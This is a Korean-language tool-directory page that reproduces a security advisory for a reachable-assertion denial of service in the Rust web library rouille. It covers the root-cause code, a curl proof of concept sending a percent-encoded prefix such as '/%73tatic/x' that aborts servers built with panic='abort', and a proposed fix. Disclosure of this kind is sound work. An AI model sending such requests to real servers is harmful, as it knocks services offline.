Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
23일 전아직 검토되지 않음

보안 권고: URL 접두사 처리의 도달 가능한 단언을 통한 원격 서비스 거부 (rouille)

지정된 CVE ID: CVE-2026-66754

요약

Request::remove_prefix는 퍼센트 디코딩된 URL을 검사하지만 원시(raw) URL에 대해 단언(assert)합니다. 디코딩된 경로가 접두사로 시작하지만 원시 경로는 그렇지 않은 요청은 검사를 통과한 뒤 단언에 실패합니다. 접두사의 한 문자만 퍼센트 인코딩하면 충분합니다.

기본 빌드에서는 패닉이 포착되어 500으로 처리됩니다. panic = "abort"로 빌드한 경우에는 이를 포착할 수단이 없어, 인증되지 않은 GET 요청 한 번으로 서버 프로세스가 종료됩니다.

영향받는 버전

저장소 URL: https://github.com/tomaka/rouille

최초 영향 버전0.1.6 (2016-09-22), remove_prefix가 도입된 릴리스
마지막 영향 버전3.6.2 (2023-04-24), 현재 릴리스
영향 없음0.1.5 및 그 이전, remove_prefix가 없음
수정 버전작성 시점 기준 수정 버전 없음

이 함수는 해당 범위의 모든 릴리스와 현재 master에서 변경되지 않았습니다. Request::remove_prefix를 호출하는 애플리케이션이 영향을 받습니다. 이는 rouille가 URL 접두사 아래에서 정적 파일을 제공하기 위해 문서화한 패턴입니다(src/assets.rs 6675행, src/lib.rs 804811행).

심각도

CWE-617(도달 가능한 단언), 이후 CWE-248(포착되지 않은 예외)로 이어집니다.

CVSS 4.0 기본 점수 8.2(높음) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

위협 모델

GET 요청 하나를 보낼 수 있는 원격의 인증되지 않은 클라이언트. 자격 증명이나 사용자 상호작용이 필요 없습니다.

panic = "abort"는 Cargo의 기본값이 아니지만, 더 작은 바이너리와 더 낮은 오버헤드를 위해 흔히 선택하는 릴리스 프로필 설정입니다. rouille는 가용성을 위해 unwinding에 의존합니다. Server::process가 src/lib.rs 602행의 panic::catch_unwind에 의존하여 핸들러 패닉을 500으로 변환하기 때문입니다. 이 의존성은 문서화되어 있지 않습니다.

근본 원인

rouille/src/lib.rs, 813~822행:

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

814행은 퍼센트 디코딩을 수행하는 self.url()을 호출합니다. 819행은 원시 필드인 self.url에 대해 단언하고, 822행은 동일한 원시 필드를 슬라이싱합니다. 경로에 접두사 내부의 퍼센트 이스케이프가 포함되어 있을 때마다 두 표현이 일치하지 않습니다:

동일한 불일치로 인해 remove_prefix는 정당하게 퍼센트 인코딩된 경로를 라우팅하지 못하므로, 정확성 버그와 가용성 버그는 동일한 수정으로 해결됩니다.

개념 증명

1단계. 문서화된 접두사 관용구를 사용하여 서버를 시작합니다.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

2단계. 정상 요청과 s가 퍼센트 인코딩된 동등한 요청을 보냅니다. --path-as-is는 curl이 경로를 정규화하지 못하게 합니다.

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

기본 빌드에서의 결과입니다. 첫 번째는 누락된 파일에 대한 일반적인 404이고, 두 번째는 500으로 변환된 패닉입니다:

root@kitploit:~
404
500

stderr에는 다음과 같이 출력됩니다:

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

3단계. 패닉 시 중단(abort-on-panic) 설정으로 동일한 프로그램을 다시 빌드하고 두 번째 요청을 반복합니다.

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

결과. 프로세스가 SIGABRT(종료 코드 134)로 종료되고 서버가 응답을 중단합니다. 요청 한 번, 인증 없이, 가용성이 완전히 상실됩니다.

영향

panic = "abort"로 빌드한 경우 인증되지 않은 요청 한 번으로 서버가 중단됩니다. 기본 빌드에서는 경로에 접두사 내부의 퍼센트 이스케이프가 포함된 요청이 제공되는 대신 500을 반환하므로, 정상적인 클라이언트에 대해서도 라우팅이 올바르지 않습니다.

패닉은 src/lib.rs 643행과 649행에서 Server::process가 catch_unwind 외부에서 unwrap하는 뮤텍스를 오염(poison)시키지 못한다는 점에 유의하세요. remove_prefix는 Arc를 복제만 하고 가드를 보유하지 않기 때문입니다. unwinding 빌드에서는 작업자 스레드가 깨끗하게 복구됩니다.

수정 방안

비교와 슬라이싱을 동일한 표현에 대해 수행합니다. 가장 간단한 올바른 버전은 원시 URL을 비교하고 슬라이싱합니다:

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

디코딩된 비교 동작이 의도된 것이라면, URL을 한 번 디코딩하고 디코딩된 문자열에서 접두사를 제거한 다음, 원시 필드를 슬라이싱하는 대신 나머지를 다시 인코딩하세요.

어느 쪽이든 assert!는 제거되어야 합니다. 라이브러리는 공격자가 제어하는 입력으로 프로세스를 중단해서는 안 됩니다. rouille가 panic = "unwind"를 요구한다는 점을 문서화하거나, 정확성을 위해 catch_unwind에 의존하는 것을 제거하는 것도 도움이 될 것입니다.

도구 다운로드
원시 URLurl() 디코딩 결과814행819행
/static/x/static/x통과통과
/%73tatic/x/static/x통과실패
/stati%63/x/static/x통과실패